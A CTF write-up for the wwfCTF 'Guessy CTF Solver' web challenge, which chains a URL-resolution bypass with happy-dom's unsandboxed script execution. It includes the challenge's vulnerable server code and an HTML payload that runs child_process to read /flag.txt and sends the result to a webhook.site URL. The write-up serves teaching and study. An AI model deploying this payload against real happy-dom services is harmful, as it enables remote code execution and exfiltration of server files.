Post

wwfCTF web/Guessy CTF Solver

My solution for wwfCTF web/Guessy CTF Solver challenge

Challenge overview

Guessy CTF Solver

The challenge presents a web application with a /hack endpoint that processes URLs using the happy-dom library. The goal is to exploit vulnerabilities in the application to retrieve a flag.

Application structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const express = require("express");
const { Browser } = require("happy-dom");
const app = express();
const port = process.env.PORT || 3000;
app.use(express.json());

const SOLVE_PATHS = ["robots.txt", "sitemap.xml"];
const prefix = /^[a-zA-Z]+$/;
const easy_challenge = "https://fake-easy-chall.wwctf.com";

app.post("/hack", async (req, res) => {
  const url = req.body.url;
  const path = req.body.path || SOLVE_PATHS;
  const flagPrefix = req.body.flagPrefix || "wwf";
  console.log(req.headers);
  if (!flagPrefix.match(prefix)) {
    return res.status(400).json({ message: "I hack not you!!!" });
  }
  const flagRegex = new RegExp(`${flagPrefix}\\{.*?\\}`);

  if (url !== easy_challenge) {
    return res
      .status(400)
      .json({ message: "Hay i can only solve easy challenges!!" });
  }
  if (path.length > 3) {
    return res.status(400).json({ message: "Too many paths.." });
  }
  for (let i = 0; i < path.length; i++) {
    visit_url = new URL(path[i], easy_challenge);
    visit_url = visit_url.toString();
    try {
      const browser = new Browser();
      const page = browser.newPage();
      await page.goto(visit_url);
      const pageContent = page.mainFrame.document.body.innerHTML;
      const flag = pageContent.match(flagRegex);
      if (flag) {
        return res.json({ flag: flag[0] });
      }
    } catch (error) {
      console.error(error);
      return res.status(500).json({ message: "Error fetching page" });
    }
  }
  return res.json({ message: "Challenge is tough!!" });
});

app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});

The application is built using Express.js and uses the happy-dom library for parsing and rendering web pages. Here are the key components:

1
2
3
4
5
6
7
const express = require("express");
const { Browser } = require("happy-dom");
const app = express();

const SOLVE_PATHS = ["robots.txt", "sitemap.xml"];
const prefix = /^[a-zA-Z]+$/;
const easy_challenge = "https://fake-easy-chall.wwctf.com";

The /hack endpoint accepts POST requests with three parameters:

  • url: Target URL to scan (must match easy_challenge)
  • path: Array of paths to check (max 3 entries)
  • flagPrefix: Prefix for the flag regex (must be alphabetic)

Analysis

The application has a security flaw in:

  1. URL restriction:
    1
    2
    3
    
    if (url !== easy_challenge) {
     return res.status(400).json({ message: "Hay i can only solve easy challenges!!" });
    }
    

    The application only checks if the base URL matches easy_challenge, but the actual URL visited is constructed using:

    1
    
    visit_url = new URL(path[i], easy_challenge);
    

    This means we can control the actual destination through the path parameter, effectively bypassing the URL restriction. The URL constructor will resolve the path relative to the base URL, allowing us to point to any domain.

  2. happy-dom
    1
    2
    3
    4
    
    const browser = new Browser();
    const page = browser.newPage();
    await page.goto(visit_url);
    const pageContent = page.mainFrame.document.body.innerHTML;
    

    The application uses happy-dom to render and process web pages. Two key issues make this exploitable:

    • No origin restrictions: happy-dom will follow any URL we provide in the path parameter, allowing us to load content from attacker-controlled domains.
    • Insufficient sandboxing: happy-dom executes JavaScript in the context of Node.js without proper isolation. This means any JavaScript we serve can access Node.js internals through the require function:
      1
      
      require('child_process').spawnSync('cat',['/flag.txt'])
      

      Here is more details about the vulnerability:
      AIKIDO-2024-10426

Exploitation

We can chain these weaknesses together:

  1. Use the path parameter to point to our controlled domain:
    1
    2
    3
    4
    5
    
    {
      "url": "https://fake-easy-chall.wwctf.com",
      "path": ["attacker.com/index.html"],
      "flagPrefix": "wwf"
    }
    
  2. Host a page containing JavaScript that uses Node.js features to read the flag:
1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<body>
<h1>CTF!</h1>
<script src="https://webhook.site/<web-hook-id>/'+require('child_process').spawnSync('cat',['/flag.txt']).stdout+'"></script>
</body>
</html>

When happy-dom processes our page, it executes our JavaScript with Node.js privileges, allowing us to read the flag file and exfiltrate its contents through the webhook URL.

Flag:
wwf{y0u_s0lv3d_a_n0n_gu3ss1ng_ch4ll3ng3}

Conclusion

This challenge demonstrated the risks of using libraries that execute JavaScript code without proper sandboxing. The happy-dom library’s lack of isolation from Node.js internals allowed for arbitrary code execution, leading to the compromise of the flag.

Key takeaways

  1. Library security: Always research and understand the security implications of third-party libraries, especially those that execute code.
  2. Sandboxing: When processing untrusted content, ensure proper isolation to prevent access to sensitive system functionality.
  3. Input validation: While the application had some input validation, it wasn’t sufficient to prevent exploitation through the vulnerable library.
This post is licensed under CC BY 4.0 by the author.